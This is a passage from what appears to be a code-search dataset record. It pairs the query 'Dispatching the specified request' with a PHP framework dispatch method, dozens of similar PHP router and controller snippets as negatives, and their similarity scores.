\"nl\\\\mondriaan\\\\ict\\\\ao\\\\youngapps\\\\controllers\\\\{$controllerName}Controller\";\n $myController=new $className($controller,$action); \n $myController->execute(); \n } \n exit();\n }", "function call($controller, $action)\n{\n require_once('controllers/' . $controller . '_controller.php');\n\n // create a new instance of the needed controller\n switch ($controller) {\n //for non-data-driven pages use the PagesController class\n case 'body_parts':\n $controller = new BodyPartsController();\n break;\n case 'pages':\n $controller = new PagesController();\n break;\n case'difficulty':\n $controller = new DifficultyController();\n break; \n case'filter':\n $controller = new HomePageController();\n break;\n case 'users':\n $controller = new UsersController();\n break;\n case 'posts':\n $controller = new PostsController();\n break;\n case 'login':\n $controller = new LoginController();\n break;\n case 'comments':\n $controller = new CommentsController();\n break;\n case 'images':\n $controller = new ImagesController();\n break;\n\n //we will need to add a separate case for each controller\n default:\n //for all data-driven pages use a specific Controller class\n //we need the model to query the database later in the process\n require_once(\"models/{$controller}.php\");\n $controllerClassName = $controller . 'Controller';\n $controller = new $controllerClassName();\n break;\n }\n // call the requested action\n $controller->{$action}();\n}", "public function executeAction()\n {\n $action = request()->input('action');\n\n if (in_array($action, $this->actions)) {\n foreach (request()->input('rows', []) as $row) {\n $this->locales->{$action}($row);\n }\n\n return response('Success');\n }\n\n return response('Failed', 500);\n }", "public function SetControllerAction ($controllerAction);", "public function launch()\r\n\t{\r\n\t\t// Corrige le nom du controller.\r\n\t\t// ajoute le namespace et met la 1er lettre en majuscule\r\n\t\t$controller = \"\\\\application\\\\controllers\\\\\";\r\n\t\t$controller .= ucfirst($this->controller);\r\n\r\n\t\t// si la classe existe\r\n\t\tif(class_exists($controller))\r\n\t\t\t$controller = new $controller;\r\n\r\n\t\t// Si la class $controller n'existe pas\r\n\t\telse\r\n\t\t{\r\n\t\t\t// transformation en page d'erreur\r\n\t\t\theader(\"HTTP/1.0 404 Not Found\");\r\n\r\n\t\t\t// alors le controller d'erreur est instancé\r\n\t\t\t$controller = new \\application\\controllers\\Error;\r\n\r\n\t\t\t// appel la method index du controller d'erreur\r\n\t\t\treturn $controller->index();\r\n\t\t}\r\n\r\n\t\t// Si la variable restfull est fause\r\n\t\tif(!$controller->restful)\r\n\t\t\t$method = \"action_\".$this->method;\r\n\r\n\t\telse\r\n\t\t{\r\n\t\t\t// alors peu être appelé par le type de request\r\n\t\t\t// ex: get_index(), post_index(), put_index() or delete_index()\r\n\t\t\t$method = strtolower($_SERVER['REQUEST_METHOD']).\"_\" .$this->method;\r\n\t\t}\r\n\r\n\t\t// Vérifie que la method existe dans le controller\r\n\t\tif(method_exists($controller, $method))\r\n\t\t\t// Appel la method du controller en lui passant des parametres\r\n\t\t\treturn call_user_func_array(array($controller, $method), array($this->args));\r\n\r\n\t\telse\r\n\t\t{\r\n\t\t\t// transformation en page d'erreur\r\n\t\t\theader(\"HTTP/1.0 404 Not Found\");\r\n\r\n\t\t\t// alors le controller d'erreur est instancé\r\n\t\t\t$controller = new \\application\\controllers\\Error;\r\n\r\n\t\t\t// appel la method index du controller d'erreur\r\n\t\t\treturn $controller->index();\r\n\t\t}\r\n\t}", "public function execute()\n\t{\t\n\t\t$this->controller = new Controller($this->path);\n\t\t$this->static_server = new StaticServer($this->path);\n\t\t\n\t\tCurrent::$plugins->hook('prePathParse', $this->controller, $this->static_server);\n\t\t\n\t\tif ( $this->static_server->isFile() )\n\t\t{\n\t\t\tCurrent::$plugins->hook('preStaticServe', $this->static_server);\n\t\t\t\n\t\t\t// Output the file\n\t\t\t$this->static_server->render();\n\t\t\t\n\t\t\tCurrent::$plugins->hook('postStaticServe', $this->static_server);\n\t\t\t\n\t\t\texit;\n\t\t}\n\t\t\n\t\t// Parse arguments from path and call appropriate command\n\t\tCowl::timer('cowl parse');\n\t\t$request = $this->controller->parse();\n\t\tCowl::timerEnd('cowl parse');\n\t\n\t\tif ( COWL_CLI )\n\t\t{\n\t\t\t$this->fixRequestForCLI($request);\n\t\t}\n\t\t\n\t\t$command = new $request->argv[0];\n\t\t\n\t\t// Set template directory, which is the command directory mirrored\n\t\t$command->setTemplateDir(Current::$config->get('paths.view') . $request->app_directory);\n\t\t\n\t\tCurrent::$plugins->hook('postPathParse', $request);\n\t\t\n\t\tCowl::timer('cowl command run');\n\t\t$ret = $command->run($request);\n\t\tCowl::timerEnd('cowl command run');\n\t\t\n\t\tCurrent::$plugins->hook('postRun');\n\t\t\n\t\tif ( is_string($ret) )\n\t\t{\n\t\t\tCowl::redirect($ret);\n\t\t}\n\t}", "function call($controller,$action)\n{\n //include the controller file that matches the controller needed\n require_once ('controllers/'.$controller.'_controller.php');\n //create an instance of the needed controller\n switch ($controller){\n case 'pages':\n $controller = new pagesController();\n break;\n case 'posts':\n require_once ('model/dataMappers/article/class.article.php');\n require_once ('model/dataMappers/article/class.rates.php');\n $controller = new Postscontroller();\n break;\n case 'signup':\n require_once('model/dataMappers/register/class.register.php');\n $controller = new Signupcontroller();\n break;\n case 'login':\n $controller = new Login();\n break;\n }\n //call the needed action\n //say home action is called, call will be $controller->home();\n $controller->{ $action }();\n}", "static function perform_controller_action($class_path,$action,$objects,$parameters) {\r\n\t\t\r\n\t\t//We treat 'new' the same as 'edit', since they generally contain a lot of the same code\r\n\t\tif ($action == \"new\") {\r\n\t\t\t$action = \"edit\";\r\n\t\t}\r\n\t\t\r\n\t\t//Let's look for a controller\r\n\t\t$controller_path = SITE_PATH.\"/controllers/\".$class_path.\"_controller.php\";\r\n\r\n\r\n\t\tif (file_exists($controller_path)) {\r\n\t\t\trequire_once($controller_path);\r\n\t\t\t\r\n\t\t\t$class_path_components = explode(\"/\",$class_path);\r\n\t\t\t$class = $class_path_components[count($class_path_components)-1];\r\n\t\t\t$controller_class = $class.\"_controller\";\r\n\t\t\tif (!method_exists($controller_class,$action)) {\r\n\t\t\t\tif (router::render_view($class_path,$action)) {\r\n\t\t\t\t\texit;\r\n\t\t\t\t} else {\r\n\t\t\t\t\tfatal_error(\"$controller_class does not respond to $action\");\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t$controller = new $controller_class();\r\n\t\t\t$controller->parameters = $parameters;\r\n\t\t\tcall_user_func_array(array($controller,$action),$objects);\r\n\t\t\texit;\r\n\t\t}\r\n\t\t\r\n\t\t//If no controller was found, we'll look for a view\r\n\t\tif (router::render_view($class_path,$action)) {\r\n\t\t\texit;\r\n\t\t}\r\n\t}", "function run() {\n global $url;\n session_start();\n\n if (class_exists('AppHelper')) {\n $url = AppHelper::validate_and_authorize($url);\n } else {\n error_log ('this app has no AppHandler defined, hence no secutiy ');\n }\n\n # Parse our 3 part URL\n # Format: controller[/action[.type][/query_string]] \n # Example: login/get/3\n # Example: login/listall.json\n list($controller, $action, $content_type, $query_string) = parse_rest_url($url);\n\n $controller = ucwords($controller).'Controller';\n $dispatch = new $controller($action, $content_type);\n\n if ((int)method_exists($controller, $action)) {\n call_user_func_array(array($dispatch,$action),array($query_string));\n } else {\n AppHelper::not_found($dispatch, $url); \n }\n}", "function dispatch_route($controller, $action, array $parameters){\r\n\t\t$this->current_controller = $controller;\r\n\t\t$this->current_action = $action;\r\n\t\t\r\n\t\t$result = $this->call_action($controller, $action, $parameters);\r\n\t\t\r\n\t\t$response = $this->handle_result($result);\r\n\t\t\r\n\t\treturn $response;\r\n\t}", "public function indexAction()\n {\n // action body\n }", "public function GetControllerAction ();", "public function dispatch($controller, $action, $params) {\n\t\t// Include Controller File\n\t\trequire_once \"src/{$controller}.php\";\n\t\t// Load Action\n\t\t$controller .= 'Controller';\n\t\t$action.= 'Action';\n\t\t$c = new $controller($controller, $action, $params);\n\t\t$c->$action($params);\n\t\treturn;\n\t}" ]
[ "0.82769316", "0.79875916", "0.7787949", "0.77741987", "0.7634201", "0.7634201", "0.7634201", "0.763356", "0.74360543", "0.7414527", "0.7309607", "0.7264929", "0.7250813", "0.7244339", "0.7199454", "0.7185438", "0.7173012", "0.7165657", "0.71518123", "0.714651", "0.7135353", "0.7118922", "0.70753396", "0.7071063", "0.7065238", "0.7053327", "0.70419353", "0.70335937", "0.7030039", "0.70038843", "0.6993826", "0.6986756", "0.69791096", "0.69723976", "0.6949699", "0.69456315", "0.68963027", "0.6881904", "0.68804824", "0.6848577", "0.6820157", "0.6780811", "0.6771969", "0.67566013", "0.67476237", "0.6727911", "0.67198706", "0.67000425", "0.66813827", "0.66767216", "0.66601384", "0.6643798", "0.6630552", "0.66236615", "0.6617271", "0.66045976", "0.6600771", "0.6599426", "0.65817493", "0.6566937", "0.65548944", "0.6550987", "0.6548308", "0.65481657", "0.6535386", "0.6524799", "0.65099716", "0.65097666", "0.65031", "0.6488165", "0.6484513", "0.6476625", "0.64715946", "0.6469546", "0.6456153", "0.6447674", "0.6435", "0.64317757", "0.64299035", "0.6403198", "0.6400857", "0.63803387", "0.6379807", "0.6359327", "0.63585585", "0.6347969", "0.63473415", "0.63456297", "0.6332725", "0.63322616", "0.6311754", "0.63035375", "0.6301315", "0.6295202", "0.6290482", "0.62861896", "0.62835246", "0.6264237", "0.6263906", "0.626156", "0.62602067" ]
0.0
-1
Retrieve a list of current request parameters
protected function _loadParameters(array $params = null) { return $params ? merge_array( $this->getRequest()->getParameters(), $params ) : $this->getRequest()->getParameters() ; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getRequestParameters()\n\t{\n\t\treturn $this->aParameters;\n\t}", "public function getRequestParams();", "public function getRequestParams()\n {\n return $_REQUEST;\n }", "public function getRequestParameters() {\n return array();\n }", "private function _getRequestParams()\n {\n return array_merge(\n $this->CI->input->post(),\n $this->CI->input->get()\n );\n }", "public function getRequestParams()\n {\n return $this->getKey('RequestParams');\n }", "public function get_request_arguments();", "function getParameters() {\n\t\treturn $this->inputParameters;\n\t}", "abstract protected function getRequiredRequestParameters();", "public static final function getParameters(\\phpbb\\request\\request $request) {\n\t\t$values = array_merge_recursive(\n\t\t\tarray(),\n\t\t\t$request->get_super_global(request_interface::GET),\n\t\t\t$request->get_super_global(request_interface::POST)\n\t\t);\n\t\tif (array_key_exists(\"page\", $values) && !empty($values['page'])) {\n\t\t\tunset($values['page']);\n\t\t}\n\t\tif (array_key_exists(\"action\", $values) && !empty($values['action'])) {\n\t\t\tunset($values['action']);\n\t\t}\n\n\t\t$getParams = $request->variable(\"params\", AController::DEFAULT_ACTION);\n\t\tif (is_string($getParams)) {\n\t\t\tunset($values['params']);\n\t\t\tforeach (explode(\"/\", $getParams) as $param) {\n\t\t\t\tif (empty($param)) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\t$values[] = $param;\n\t\t\t}\n\t\t}\n\t\treturn $values;\n\t}", "public function getRequestParams()\n {\n return array_merge(\n array(\n 'page' => $this->getPage(),\n 'pageSize' => $this->getPageSize(),\n 'filter' => urldecode($this->getFiltersString())\n ),\n $this->getAdditionalParams()\n );\n }", "public function getParametersRequest(): ParameterBag { return $this->parameters; }", "public function getParams();", "public function getParams();", "public function getParams();", "public function getParams();", "public function getParams();", "public function getParams();", "public function getParams();", "public function getParams();", "public function getParams();", "public function getParams();", "public function getParameters()\n {\n return $this->parameters->all();\n }", "public function parameters()\n {\n return array_merge($this->get, $this->post);\n }", "public static function params()\n\t{\n\t\treturn self::$router->getParams();\n\t}", "public static function getParams()\n {\n return self::$params;\n }", "public function getParametersList(){\n return $this->_get(2);\n }", "public function get_params() {\n\t\treturn $this->params;\n\t}", "public function url_parameters()\n {\n return $this->_params;\n }", "public function getParams() {}", "public function getParameters()\n {\n return $this->params;\n }", "public function getParameters()\n {\n return $this->params;\n }", "public function getParameters()\n {\n return $this->params;\n }", "public function getParameters()\n {\n return $this->params;\n }", "public function getParameters(/* ... */)\n {\n return $this->_params;\n }", "public static function all()\n {\n return $_REQUEST;\n }", "private function getParameters() {\n $raw_parameters = $this->routeMatch->getRawParameters();\n $parameters = $this->routeMatch->getParameters();\n\n $return_params = [];\n foreach ($parameters as $key => $value) {\n if ($raw_value = $raw_parameters->get($key)) {\n $return_params[$key] = $raw_value;\n continue;\n }\n\n $return_params[$key] = $parameters->get($key);\n }\n\n return $return_params;\n }", "public function get_parameters() {\r\n\t\treturn $this->parameters;\r\n\t}", "public function getParamsForRequest() {\n $params['api_key'] = $this->api_key;\n if ($this->token) {\n $params['auth_token'] = $this->token;\n }\n return $params;\n }", "protected function getQueryParams() {\n\t\treturn $this->request->getQueryParams();\n\t}", "public function getParameters();", "public function getParameters();", "public function getParameters();", "public function getParameters();", "public function getParameters();", "public function getParameters();", "public function getParameters();", "public function getParameters();", "public function getParameters()\n {\n return array();\n }", "public function all()\n {\n return $this->params;\n }", "public function getParameters($includeGET = true)\n {\n return ($includeGET) ?\n $this->parameters :\n array_diff_assoc($this->parameters, $this->request->query->all())\n ;\n }", "public function get_query_params()\n {\n }", "public function parameters(): array\n {\n $requestRoute = request()->route()->getName();\n $requestValues = Str::of($requestRoute)\n ->explode('.')\n ->toArray();\n\n return is_null($requestValues)\n ? []\n : $requestValues;\n }", "public function getParams()\r\n\t{\r\n\t\treturn $this->params;\r\n\t}", "public function getAllParam()\n {\n return isset($this->params) ? $this->params : null;\n }", "protected function getAllArgs()\n {\n $this->methodExpectsRequest(__METHOD__);\n $params = [];\n foreach ($this->getRequest()->getAllArgs() as $index => $value) {\n if (isset($this->argument_position_name[$index])) {\n $param_name = $this->argument_position_name[$index];\n $params[$param_name] = $value;\n }\n }\n return $params;\n }", "public function getParams()\n {\n return $this->getAttribute('params', false, null);\n }", "function getParams() {\n\t\treturn $this->params;\n\t}", "public function parameters(): array\n {\n return $this->route->parameters();\n }", "public function getParameters() {}", "protected function getRequestParameters()\n {\n return [\n 'orderNumber' => $this->orderNumber,\n 'amount' => $this->amount,\n 'returnUrl' => $this->returnUrl,\n 'currency' => $this->currency\n ];\n }", "public function getData()\n {\n return $this->getRequestParams();\n }", "public function getData()\n {\n return $this->getRequestParams();\n }", "function url_get_parameters() {\n $this->init_full();\n return array('id' => $this->modulerecord->id, 'pageid' => $this->lessonpageid);;\n }", "public function getParams()\n {\n return $this->getEvent()->getRouteMatch()->getParams();\n }", "public function getParams()\n\t{\n\t\treturn $this->params;\n\t}", "public function get_parameters()\n\t{\n\t\treturn $this->set_params;\n\t}", "public function getActionParams() { return array_merge($_GET, $_POST); }", "public function get_url_get_parameters() {\r\n\t\treturn $this->url_get_parameters;\r\n\t}", "public function getParams()\n {\n return $this->params;\n }", "public function getParams()\n {\n return $this->params;\n }", "public function getParams()\n {\n return $this->params;\n }", "public function getParams()\n {\n return $this->params;\n }", "public function getParams()\n {\n return $this->params;\n }", "public function getParams()\n {\n return $this->params;\n }", "public function getParams()\n {\n return $this->params;\n }", "public function getParams()\n {\n return $this->params;\n }", "public function getParams()\n {\n return $this->params;\n }", "public function getParams()\n {\n return $this->params;\n }", "public function getParams()\n {\n return $this->params;\n }", "public function getParams()\n {\n return $this->params;\n }", "public function getParams()\n {\n return $this->params;\n }", "public function getParams()\n {\n return $this->params;\n }", "public function getParams()\n {\n return $this->params;\n }", "public function getParams()\n {\n return $this->params;\n }", "public function getParams()\n {\n return $this->params;\n }", "function getParams()\n {\n }", "public function getParams() {\n\t\treturn $this -> v_params;\n\t}", "private static function ParamList ()\n {\n return array (\n \"a\" => array (\n \"charset\", \"coords\", \"href\",\n \"hreflang\", \"name\", \"rel\",\n \"rev\", \"shape\", \"target\",\n \"style\",\n ),\n \"button\" => array (\n \"disabled\", \"name\", \"type\",\n \"value\", \"accesskey\", \"class\",\n \"dir\", \"id\", \"lang\", \"style\",\n \"tabindex\", \"title\", \"xml:lang\",\n ),\n );\n }", "public function getParameters()\n\t{\n\t\treturn $this->parameters;\n\t}", "private static function getGetParams()\n\t{\n\t\treturn $_GET;\n\t}", "function get_parameters()\r\n {\r\n return $this->parameters;\r\n }", "public function getParameters() {\n \n return $this->params;\n \n }", "public function getParams()\n {\n // TODO: Implement getParams() method.\n }", "public function getParams()\n {\n return $this->params;\n }", "public function getParams()\n {\n return $this->params;\n }", "public function get_params() {\n return $this->param;\n }", "private static function getParams(): array\n {\n $getParams = [];\n\n if (!empty($_GET)) {\n $getParams = filter_input_array(INPUT_GET, FILTER_DEFAULT);\n }\n\n return $getParams;\n }", "public function getParams() {\n\t\treturn $this->params;\n\t}", "public function getParams()\n\t{\n\t\treturn $this->_params;\n\t}", "public function getVars()\n\t{\n\t\treturn $this->requestVars;\n\t}" ]
[ "0.7942788", "0.7876516", "0.7729333", "0.7722339", "0.7493092", "0.747967", "0.73608726", "0.7340326", "0.73030037", "0.72488934", "0.72376823", "0.7234904", "0.7206365", "0.7206365", "0.7206365", "0.7206365", "0.7206365", "0.7206365", "0.7206365", "0.7206365", "0.7206365", "0.7206365", "0.7199737", "0.71822906", "0.71748835", "0.71679556", "0.71637505", "0.71384805", "0.71279216", "0.7127389", "0.71266866", "0.71266866", "0.71266866", "0.71266866", "0.7106345", "0.7100709", "0.70912915", "0.7083127", "0.7078184", "0.7076762", "0.7063673", "0.7063673", "0.7063673", "0.7063673", "0.7063673", "0.7063673", "0.7063673", "0.7063673", "0.70602226", "0.7033248", "0.7029972", "0.70295787", "0.7015773", "0.70129216", "0.7012215", "0.70116436", "0.7010013", "0.7008683", "0.7003804", "0.7002042", "0.7001741", "0.6995181", "0.6995181", "0.69931906", "0.698715", "0.6983862", "0.6977905", "0.6977667", "0.6950751", "0.69490117", "0.69490117", "0.69490117", "0.69490117", "0.69490117", "0.69490117", "0.69490117", "0.69490117", "0.69490117", "0.69490117", "0.69490117", "0.69490117", "0.69490117", "0.69490117", "0.69490117", "0.69490117", "0.69490117", "0.69434774", "0.69419956", "0.6941921", "0.69418734", "0.693922", "0.6938721", "0.69312865", "0.69281685", "0.69234484", "0.69234484", "0.69157964", "0.6915156", "0.691236", "0.690947", "0.69081813" ]
0.0
-1
Dispatching the specified request
public function dispatch($method = null, $url = null, array $params = null) { $this->_raise( self::E_DISPATCH, array( 'request' => $url, 'params' => $params ) ); if (!is_callable($url)) { // initialize parameters if (!is_null($url)) { $this->getRequest()->setLocation($url); } else { $url = $this->getRequest()->getLocation(); } $route = $this->getService('router')->getRoute($url); } else { $route = $url; } if ($route === false) { throw new Exception('No route found', 404); } else { if (is_string($route)) { // execute a controller $parts = explode('::', $route, 2); if (empty($parts[1])) $parts[1] = 'index'; return $this->execute($parts[0], $parts[1], $params); } else { // use the route as a callback return $route($this, $params); } } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function DispatchRequest ();", "public function dispatch($request)\n {\n }", "public function dispatch(Request $request) {\n\n $uri = $request->uri();\n $method = $request->method();\n\n if (in_array($uri, self::$routes)) {\n if (self::$methods[$uri] == $method || self::$methods[$uri] == 'ANY') {\n if (is_object(self::$callbacks[$uri])) {\n call_user_func(self::$callbacks[$uri]);\n } else {\n $s = explode('@', self::$callbacks[$uri]);\n call_user_func(array((new $s[0]), $s[1]));\n }\n }\n } else {\n header($_SERVER['SERVER_PROTOCOL'].\" 404 Not Found\");\n echo '404';\n }\n }", "public function dispatch();", "public function dispatch();", "public function dispatch($request, $response, $parameters);", "public static function process($request){\r\n\t\tcall_user_func($request -> action, $request -> params);\r\n\t}", "public final function dispatch() {\n\t\t$request = PhpBB::getInstance()->getRequest();\n\n\t\tif ($this->controller != NULL) {\n\t\t\treturn $this->handleResponse(\n\t\t\t\t$this->controller->executeAction(\n\t\t\t\t\tself::getAction($request),\n\t\t\t\t\tself::getParameters($request)\n\t\t\t\t)\n\t\t\t);\n\t\t}\n\t\treturn $this->handleResponse(new Error404());\n\t}", "public function dispatch(Request $request)\r\n\t{\r\n\t global $rpgws_config;\r\n\t $controller = $request->get_uri_string();\r\n\t $action = $request->get_uri_string();\r\n\t if(empty($action)) $action = \"index\";\r\n\t \r\n\t $cont_class = \"User_\" . $controller . \"_Controller\";\r\n\t $action_method = $action . \"_action\";\r\n\t \r\n\t $view_file = dirname(__FILE__) . \"/view/\" . $controller . \"_\" . $action . \".php\";\r\n\t $this->m_View->set_layout(RPGWS_LAYOUT_PATH . \"/\" . $rpgws_config['layout']['default']);\r\n\t $this->m_View->set_content($view_file);\r\n\t $this->m_View->set_menu(new Menu());\r\n\t \r\n\t $cont = new $cont_class();\r\n\t if(!method_exists($cont, $action_method)) $action_method = \"index_action\";\r\n\t $cont->registerView($this->m_View);\r\n\t $cont->registerRequest($request);\r\n\t $cont->$action_method();\r\n\t}", "final function execute($request) {\t\t\n\t\t// Forward the action to execute page-specific logic\n\t\t$this->doExecute($request);\n\t}", "public function dispatch()\n {\n $this->response = $this->frontController->execute();\n }", "public static function dispatch(Request $request) {\n\t\t\t$route = self::findRouteForRequest($request);\n\t\t\tif ($route) {\n\n\t\t\t\t$controllerName = $route->controller;\n\t\t\t\t$controller = new $controllerName($request);\n\n\t\t\t\tif ($route->hasUrlParams()) {\n\t\t\t\t\t$actionParams = self::getUrlParams($request, $route);\n\t\t\t\t\tcall_user_func_array(array($controller, $route->action), $actionParams);\n\t\t\t\t} else {\n\t\t\t\t\tcall_user_func(array($controller, $route->action));\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// Defer to the response class to send a 404 error.\n\t\t\t\tResponse::fourOhFour($request);\n\t\t\t}\n\n\t\t}", "protected abstract function handleRequest();", "public function dispatch ()\n {\n\n try\n {\n\n // initialize the controller\n $this->initialize();\n\n // get the application context\n $context = $this->getContext();\n\n // determine our module and action\n $moduleName = $context->getRequest()\n ->getParameter(MO_MODULE_ACCESSOR);\n\t\t\t\n\n $actionName = $context->getRequest()\n ->getParameter(MO_ACTION_ACCESSOR);\n\n if ($moduleName == null)\n {\n\n // no module has been specified\n $moduleName = MO_DEFAULT_MODULE;\n\n }\n\n if ($actionName == null)\n {\n\n // no action has been specified\n if ($this->actionExists($moduleName, 'Index'))\n {\n\n // an Index action exists\n $actionName = 'Index';\n\n } else\n {\n\n // use the default action\n $actionName = MO_DEFAULT_ACTION;\n\n }\n\n }\n\n // make the first request\n $this->forward($moduleName, $actionName);\n\n } catch (MojaviException $e)\n {\n\n $e->printStackTrace();\n\n } catch (Exception $e)\n {\n\n // most likely an exception from a third-party library\n $e = new MojaviException($e->getMessage());\n\n $e->printStackTrace();\n\n }\n\n }", "public function dispatch ($uri);", "public function executeRequest() {\n $this->splitURL();\n $this->validateRequest();\n\n // Create controller to dispatch our request, eg new BlogsController\n // Note format eg $dispatch = new BlogsController('Blog', 'blogs', 'index')\n $model = ucwords(rtrim($this->controller, 's'));\n $controller = ucwords($this->controller) . 'Controller';\n $dispatch = new $controller($model, $this->controller, $this->action);\n\n // Execute\n if (!isset($this->parameter1)) {\n call_user_func(array($dispatch, $this->action));\n } else if (!isset($this->parameter2)) {\n call_user_func(array($dispatch, $this->action), $this->parameter1);\n } else if (!isset($this->parameter3)) {\n call_user_func(array($dispatch, $this->action), $this->parameter1, $this->parameter2);\n } else {\n call_user_func(array($dispatch, $this->action), $this->parameter1, $this->parameter2, $this->parameter3);\n }\n }", "public function call()\n {\n $this->dispatchRequest($this['request'], $this['response']);\n }", "public function postDispatch(Zend_Controller_Request_Abstract $request)\n {\n\n\n }", "abstract public function handle_request();", "abstract public function handleRequest($request);", "public function dispatch(RequestContract $request) {\n\n\t\t$response = NULL;\n\n\t\tforeach ($this->routes as $route) {\n\n\t\t\tif ($route->matches($request)) {\n\n\t\t\t\t$response = $route->fire($request);\n\t\t\t\tbreak;\n\n\t\t\t}\n\n\t\t}\n\n\t\treturn $response;\n\n\t}", "public function dispatch(ServerRequest $request = null)\n {\n $response = $this->respond($request ?: $this->request);\n\n $response->send();\n }", "public function dispatch(): void {}", "public function dispatch()\n\t{\n\t\t$this->{$this->_action}();\n\t}", "abstract protected function process(Request $request);", "protected function dispatch() {\n if (!$this->request) {\n return;\n }\n\n $dispatcher = $this->getDispatcher();\n\n // request chaining\n while ($this->request) {\n $this->eventManager->triggerEvent(self::EVENT_PRE_DISPATCH, array('web' => $this));\n\n if (!$this->request) {\n continue;\n }\n\n $chainedRequest = $dispatcher->dispatch($this->request, $this->response);\n\n if ($chainedRequest && !$chainedRequest instanceof Request) {\n throw new Exception('Action returned a invalid value, return nothing or a new ride\\\\library\\\\mvc\\\\Request object for request chaining.');\n }\n\n $this->setRequest($chainedRequest);\n\n $this->eventManager->triggerEvent(self::EVENT_POST_DISPATCH, array('web' => $this));\n }\n }", "public function handleRequest();", "public function handleRequest();", "public function handleRequest();", "public function handleRequest() {}", "public static function dispatch(&$request) {\r\n // inizializziamo la sessione\r\n session_start();\r\n\r\n if (isset($request[\"page\"])) {\r\n switch ($request[\"page\"]) {\r\n case \"master\":\r\n $controller = new SimpleController();\r\n $controller->handleInput($request);\r\n break;\r\n case \"accesso\":\r\n $controller = new SimpleController();\r\n $controller->handleInput($request);\r\n break;\r\n case \"rimuovi\":\r\n $controller = new SimpleController();\r\n $controller->handleInput($request);\r\n break;\r\n case \"rimuovicode\":\r\n $controller = new SimpleController();\r\n $controller->handleInput($request);\r\n break;\r\n case \"rimuovicodeid\":\r\n $controller = new SimpleController();\r\n $controller->handleInput($request);\r\n break;\r\n case \"inserisci\":\r\n $controller = new SimpleController();\r\n $controller->handleInput($request);\r\n break;\r\n case \"inseriscicode\":\r\n $controller = new SimpleController();\r\n $controller->handleInput($request);\r\n break;\r\n case \"logincode\":\r\n $controller = new SimpleController();\r\n $controller->handleInput($request);\r\n break;\r\n case \"mappa\":\r\n $controller = new SimpleController();\r\n $controller->handleInput($request);\r\n break;\r\n case \"mappacode\":\r\n $controller = new SimpleController();\r\n $controller->handleInput($request);\r\n break;\r\n case \"totaleprodotti\":\r\n $controller = new SimpleController();\r\n $controller->handleInput($request);\r\n break;\r\n case \"totaleprodotticode\":\r\n $controller = new SimpleController();\r\n $controller->handleInput($request);\r\n break;\r\n case \"contatta\":\r\n $controller = new SimpleController();\r\n $controller->handleInput($request);\r\n break;\r\n case \"contattacode\":\r\n $controller = new SimpleController();\r\n $controller->handleInput($request);\r\n break;\r\n case \"contattaleggi\":\r\n $controller = new SimpleController();\r\n $controller->handleInput($request);\r\n break;\r\n case \"contattaleggiform\":\r\n $controller = new SimpleController();\r\n $controller->handleInput($request);\r\n break;\r\n case \"documentazione\":\r\n $controller = new SimpleController();\r\n $controller->handleInput($request);\r\n break;\r\n case \"logout\":\r\n $controller = new SimpleController();\r\n $controller->handleInput($request);\r\n break;\r\n default:\r\n self::write404();\r\n break;\r\n }\r\n } else {\r\n $request[\"page\"] = \"master\";\r\n $controller = new SimpleController();\r\n $controller->handleInput($request);\r\n echo '<script language=javascript>document.location.href=\"index.php?page=master\"</script>';\r\n }\r\n }", "function handleRequest() ;", "public function dispatch() {\n if ($this->dispatching == null) {\n\n $this->dispatching = $this->router->getMatchedRoutes($this->request->getPath());\n }\n\n // Dispatch array is not empty\n while (!empty($this->dispatching)) {\n\n // Get the next available dispatch\n $dispatching = array_shift($this->dispatching);\n\n // Get the controller namespace\n $namespace = '\\modules\\\\' . $dispatching['module'] . '\\controllers\\\\' . $dispatching['controller'];\n\n // The controller does not exist\n if (class_exists($namespace) === false) {\n\n continue;\n }\n\n // Set the request vars\n $this->request->setVar(array_diff_key($dispatching, array_flip(['module', 'controller', 'action'])));\n // Set the dispatcher dispatched values\n $this->dispatched = array_intersect_key($dispatching, array_flip(['module', 'controller', 'action']));\n\n $controller = new $namespace($this->request, $this, $this->container);\n\n // We have a POST action defined\n if ($this->request->isPost() &&\n method_exists($controller, $this->getBaseActionName() . Router::ACTION_POST_SUFFIX)) {\n\n // Set the correct dispatching/dispatched action\n $dispatching['action'] = $this->dispatched['action'] = $this->getBaseActionName() . Router::ACTION_POST_SUFFIX;\n\n // A default controller action cannot be found\n } else if ($this->request->isGet() && method_exists($controller, $dispatching['action']) === false) {\n\n continue;\n }\n\n // Set the controller was forwarded to false\n $this->controllerWasForwarded = false;\n\n // The controller has a pre method defined\n if (method_exists($controller, 'pre')) {\n\n $controller->pre();\n }\n\n // The controller was forwarded\n if ($this->controllerWasForwarded === true) {\n\n continue;\n }\n\n $controller->{$dispatching['action']}();\n\n // The action was forwarded\n if ($this->controllerWasForwarded === true) {\n\n continue;\n }\n\n // The controller has a post method defined\n if (method_exists($controller, 'post')) {\n\n $controller->post();\n }\n\n // The action was forwarded\n if ($this->controllerWasForwarded === true) {\n\n continue;\n }\n\n // Render the view and set the response body\n $controller->getResponse()->setBody($controller->getView()->render());\n\n return;\n }\n\n // Empty the dispatched array so dispatcher not resolved event can switch to a different module if needed\n $this->dispatched = ['module' => '', 'controller' => '', 'action' => ''];\n\n $this->eventManager->emit($this->container->get('event', ['dispatcher:notResolved', $this]));\n $this->dispatch();\n }", "public function dispatch()\n {\n $this->parseRoute();\n\n $controller = new BaseController();\n\n $controllerName = '\\\\Shopreview\\\\Mvc\\\\Controller\\\\' . $this->controller . self::CONTROLLER_POSTFIX;\n\n // controller test, if not found redirect to the homepage\n if (class_exists($controllerName)) {\n $controller = new $controllerName();\n } elseif(!empty($this->controller)) {\n header('Location: /');\n exit();\n }\n\n // finalizing method name\n $methodName = $this->action . self::ACTION_POSTFIX;\n if (!$this->action || !method_exists($controller, $methodName)) {\n $methodName = self::DEFAULT_ACTION . self::ACTION_POSTFIX;\n }\n\n // calling the proper class and method\n call_user_func_array(array($controller, $methodName), array());\n }", "public function runRequest() {\n }", "public function dispatch(Request $request)\n {\n $this->currentRoute = null;\n\n $this->container->instance(Request::class, $request);\n\n $this->routesDispatched++;\n\n try {\n $response = $this->adapter->dispatch($request, $request->version());\n } catch (Exception $exception) {\n if ($request instanceof InternalRequest) {\n throw $exception;\n }\n\n $this->exception->report($exception);\n\n $response = $this->exception->handle($exception);\n }\n\n return 